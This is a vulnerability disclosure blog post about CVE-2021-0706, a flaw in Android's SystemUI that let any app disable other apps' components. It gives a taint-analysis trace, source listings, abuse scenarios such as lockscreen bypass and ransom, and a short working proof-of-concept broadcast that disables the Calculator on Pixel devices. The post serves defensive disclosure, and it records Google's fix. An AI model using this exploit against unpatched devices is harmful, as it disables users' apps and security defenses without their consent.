Skip to main content

Disabling Arbitrary App Components Vulnerability in AOSP

Ryan Johnson & Mohamed Elsabagh | August 4, 2022

Ryan Johnson & Mohamed Elsabagh

August 4, 2022

While performing a routine pre-production scan of an Android device, we discovered a vulnerability (CVE-2021-0706) in a system component that gave unprivileged apps access to the device and the ability to disable app components at will. The vulnerability impacted all Android versions 8.1 to 12 (pre-release) on the market. The vulnerability exposed the user to Escalation-of-Privilege (EoP), Denial-of-Service (DoS), and ransomware attacks by unprivileged apps that require no permissions. The following are some sample exploitation vectors:

  • Disable Security Defenses. This vulnerability can be used to disable apps that provide device health checks and security scans to weaken the security posture of the device for further exploitation.
  • Hold the Device for Ransom. An attacker can use this vulnerability to disable the primary Graphical User Interface (GUI) components needed by the user (e.g., disable the device home screen) until a ransom is paid.
  • Force a Factory Reset. An attacker can disable a core app component then cause a system crash, throwing the device into a boot loop The only way for the user to recover their device in this scenario is to perform a factory-reset of the device, losing data that hasn’t been backed up.
  • Bypass Lockscreen Apps. If a user uses a third-party lock screen app on their Android device, then the attacker can bypass the screen lock by using this vulnerability to disable all of the screen lock app components, leaving it unable to provide protection.
  • Disable Competitor Apps. Disabling the main component of a competitor app will prevent the user from starting the app.

The Vulnerability: Disabling Arbitrary Components (CVE-2021-0706)

One of the core system components on Android is called SystemUI, an app that provides services for the main system User Interface (UI). SystemUI is part of the Android Open Source Project (AOSP) code which all vendors build upon. It implements things such as the lock screen, status bar, and notification channels, among others. SystemUI is implemented as a privileged pre-installed app that uses a modular architecture to run various services at runtime, including critical system tasks.

We scanned the pre-production vendor device and discovered that the SystemUI app had a compromised data flow. Externally-controlled input was vulnerable to consumption by an exported SystemUI component, which would eventually be passed down to a sensitive AP called `PackageManager.setComponentEnabledSetting` which can enable or disable app components at the sender’s discretion. The path exhibiting the vulnerability is shown below:

“`yaml
vulnerability:
   impact: Enable/Disable Arbitrary App Components
   risk: HIGH
   confidence: HIGH
   cwe:
   – https://cwe.mitre.org/data/definitions/306.html
   – https://cwe.mitre.org/data/definitions/829.html
   – https://cwe.mitre.org/data/definitions/15.html
   description: |
      In file com/android/systemui/shared/plugins/PluginManagerImpl.smali, externally-controlled input arriving at method onReceive(Landroid/content/Context;Landroid/content/Intent;)V at line 1199 is eventually used to enable/disable an arbitrary app or arbitrary app component in method setDisabled(Landroid/content/ComponentName;I)V of file com/android/systemui/plugins/PluginEnablerImpl.smali via a call [invoke-virtual {v3,p1,v2,v0}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V] at line 150.
   source: ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1199: .entry public Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V p0, p1, p2 [p2]’
   sink: ‘Lcom/android/systemui/plugins/PluginEnablerImpl;->setDisabled(Landroid/content/ComponentName;I)V: 150: invoke-virtual {v3,p1,v2,v0}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V [p1]’
   paths:
   id: direct
      path:
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1199: .entry public Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V p0, p1, p2 [p2]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1203: invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; [p2]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1265: invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; [p2]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1340: invoke-virtual {p2}, Landroid/content/Intent;->getData()Landroid/net/Uri; [p2]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1340: invoke-virtual {p2}, Landroid/content/Intent;->getData()Landroid/net/Uri; [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1342: move-result-object p1 [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1342: move-result-object p1 [p1]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1345: invoke-virtual {p1}, Landroid/net/Uri;->getEncodedSchemeSpecificPart()Ljava/lang/String; [p1]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1345: invoke-virtual {p1}, Landroid/net/Uri;->getEncodedSchemeSpecificPart()Ljava/lang/String; [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1347: move-result-object p1 [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1347: move-result-object p1 [p1]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1350: invoke-static {p1}, Landroid/content/ComponentName;->unflattenFromString(Ljava/lang/String;)Landroid/content/ComponentName; [p1]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1350: invoke-static {p1}, Landroid/content/ComponentName;->unflattenFromString(Ljava/lang/String;)Landroid/content/ComponentName; [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1352: move-result-object v2 [r0]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1352: move-result-object v2 [v2]’
      – ‘Lcom/android/systemui/shared/plugins/PluginManagerImpl;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V: 1697: invoke-interface {v0,v2}, Lcom/android/systemui/shared/plugins/PluginEnabler;->setEnabled(Landroid/content/ComponentName;)V [v2]’
      – ‘Lcom/android/systemui/plugins/PluginEnablerImpl;->setEnabled(Landroid/content/ComponentName;)V: 195: .entry public Lcom/android/systemui/plugins/PluginEnablerImpl;->setEnabled(Landroid/content/ComponentName;)V p0, p1 [p1]’
      – ‘Lcom/android/systemui/plugins/PluginEnablerImpl;->setEnabled(Landroid/content/ComponentName;)V: 201: invoke-virtual {p0,p1,v0}, Lcom/android/systemui/plugins/PluginEnablerImpl;->setDisabled(Landroid/content/ComponentName;I)V [p1]’
      – ‘Lcom/android/systemui/plugins/PluginEnablerImpl;->setDisabled(Landroid/content/ComponentName;I)V: 118: .entry public Lcom/android/systemui/plugins/PluginEnablerImpl;->setDisabled(Landroid/content/ComponentName;I)V p0, p1, p2 [p1]’
      – ‘Lcom/android/systemui/plugins/PluginEnablerImpl;->setDisabled(Landroid/content/ComponentName;I)V: 150: invoke-virtual {v3,p1,v2,v0}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V [p1]’
“`

The core issue that created the vulnerability was the unprotected `PluginManagerImpl` component in the SystemUI app. A lack of access control for this exposed component allowed any app on the device to send messages with embedded data to SystemUI, which SystemUI dutifully processed, likely under the assumption the messages originated from one of its own app components. This means an attacker can pass the name of a target component to the exposed `PluginManagerImpl` to get SystemUI to disable the target component on the attacker’s behalf.

We confirmed the exploitability of the device vulnerability and immediately informed Google of our findings. Google fixed the vulnerability by protecting this exposed `PluginManagerImpl` component with a signature-level permission, restricting access to only the SystemUI app itself and to other packages signed with the same key as SystemUI. A disclosure timeline is provided at the end of this post.

In the following, we will walk through and highlight key points along the vulnerable path and the exposed `PluginManagerImpl` component.

Technical Details

We explain the vulnerability using the Android 12 Beta 2 preview version of AOSP. Listing 1 provides the source code of the `PluginManagerImpl.startListening` method that registers an instance of the `PluginManagerImpl` class to listen on and receive the `DISABLE_PLUGIN` action.

```java
private void startListening() {
   if (mListening) return;
   mListening = true;
   IntentFilter filter = new IntentFilter(Intent.ACTION_PACKAGE_ADDED);
   filter.addAction(Intent.ACTION_PACKAGE_CHANGED);
   filter.addAction(Intent.ACTION_PACKAGE_REPLACED);
   filter.addAction(Intent.ACTION_PACKAGE_REMOVED);
   filter.addAction(PLUGIN_CHANGED);
   filter.addAction(DISABLE_PLUGIN);
   filter.addDataScheme(package);
   mContext.registerReceiver(this, filter);
   filter = new IntentFilter(Intent.ACTION_USER_UNLOCKED);
   mContext.registerReceiver(this, filter);
}
```

Listing 1. Source code of the `PluginManagerImpl.startListening` method.

After registration for the action strings in Listing 1, incoming events will be delivered to the `PluginManagerImpl.onReceive` method, where external apps control the `Intent` argument and its contents. The relevant snippet of this method is shown in Listing 2:

“`java
@Override
public void onReceive(Context context, Intent intent) {
   if (Intent.ACTION_USER_UNLOCKED.equals(intent.getAction())) {
      synchronized (this) {
         for (PluginInstanceManager manager : mPluginMap.values()) {
            manager.loadAll();
         }
      }
   } else if (DISABLE_PLUGIN.equals(intent.getAction())) {
      Uri uri = intent.getData();
      ComponentName component = ComponentName.unflattenFromString(
            uri.toString().substring(10));
      if (isPluginWhitelisted(component)) {
         // Don’t disable whitelisted plugins as they are a part of the OS.
         return;
      }
      getPluginEnabler().setDisabled(component, PluginEnabler.DISABLED_INVALID_VERSION);
      mContext.getSystemService(NotificationManager.class).cancel(component.getClassName() ,
            SystemMessage.NOTE_PLUGIN);
   } else {
     
}
“`

Listing 2. Source code snippet of the `PluginManagerImpl.onReceive` method.

The `PluginManagerImpl.onReceive` method expects the `Intent` objects with the `com.android.systemui.action.DISABLE_PLUGIN` action string to contain an `Uri` object that represents a an app component (i.e., a string denoting a package and a class within the package). The method then parses the `Uri` object into a `ComponentName` object that represents an app component in the system.

If the attacker provides a valid input following the component name URI of the form `package:///`, then the SystemUI app will check if the target app component or package are whitelisted (i.e., should never be disabled), and respond appropriately.

If the target is not whitelisted, then the receiver continues to disable the target app component by calling the `setDisabled` method on the `PluginEnablerImpl` instance returned from the `getPluginEnabler` method. The `PluginEnablerImpl.setDisabled` method will dutifully disable the provided target app component by delegating the call to the privileged `PackageManager.setComponentEnabledSetting` API as shown in Listing 3. Note that while this is a privileged call, the SystemUI app is a privileged pre-installed app that is granted the `CHANGE_COMPONENT_ENABLED_STATE` permission needed to invoke this `PackageManger` API to enable and disable app component in other apps. Also note that this `CHANGE_COMPONENT_ENABLED_STATE` permission is not available to third-party apps.

“`java
@Override
public void setDisabled(ComponentName component, @DisableReason int reason) {
   boolean enabled = reason == ENABLED;
   final int desiredState = enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
      : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
   mPm.setComponentEnabledSetting(component, desiredState, PackageManager.DONT_KILL_APP);
  
}
“`

Listing 3. Source code of the `PluginEnablerImpl.setDisabled` method.

Addendum

  • If the string representation of the `Uri` in Listing 2 has a length of less than 10 or does not properly parse into a `ComponentName` object, this will cause the SystemUI app to crash which can serve as a local DoS when performed repeatedly.
  • The whitelist is populated by the SystemUI app’s own `res/values/config.xml` resource file: `config_pluginWhitelist` string array. Currently, AOSP only contains the SystemUI package name, meaning that only SystemUI’s own components are whitelisted.
  • As mentioned, the SystemUI app is open source in AOSP. Google provides some guidance to the vendors on how to modify it for their own uses. However, the guidance is not clear. This is potentially owing to the complexity of modern mobile system code. Based on our examination, there was inconsistency in usage of the `res/values/config.xml` resource file among vendors with regard to the appropriate contents of the `config_pluginWhitelist` string array. Some vendors left the `config_pluginWhitelist` array unmodified while others have added a few extra package names beyond the default `com.android.systemui` that is present in the AOSP version of the app. Based on the market devices we sampled, it appears that some vendors say that the `config_pluginWhitelist string` array should be populated with a list of package names of apps that should not be disabled.
  • Because of the incorrect implementation of the whitelist by the vendors (including Google itself on their Pixel devices), almost all app components could be disabled by an unprivileged third-party attack app.
  • Sample Proof of Concept (PoC) Exploit

The following sample PoC exploit disables the Calculator app on Pixel devices running Android 12 Beta 2. Once disabled, the Calculator app icon will disappear from the device app launcher.

Warning: Execution of the following PoC snippet will permanently render the target app inoperable. Use at your own risk.

“`java
Intent intent = new Intent(com.android.systemui.action.DISABLE_PLUGIN);
intent.setData(Uri.parse(package://com.google.android.calculator/com.android.calculator2.Calculator));
context.sendBroadcast(intent);
“`

Listing 4. Sample PoC to disable the Calculator app on Pixel devices.

Disclosure Timeline

  • July 11, 2021 – Initial disclosure of the vulnerability using Google’s IssueTracker system.
  • July 20, 2021 – Google triages the vulnerability (Android ID 193444889) and ranks it as “High” severity.
  • July 21, 2021 – Google fixes the vulnerability in an AOSP code git commit.
  • September 29, 2021 – Google assigns a CVE ID of CVE-2021-0706.
  • October 4, 2021 – Vulnerability is listed in the October 2021 Android Security Bulletin.
  • October 6, 2021 – Google awards a bug bounty of $5,000 USD.
  • October 14, 2021 – Google marks the vulnerability as fixed.

Leave a Reply

Close Menu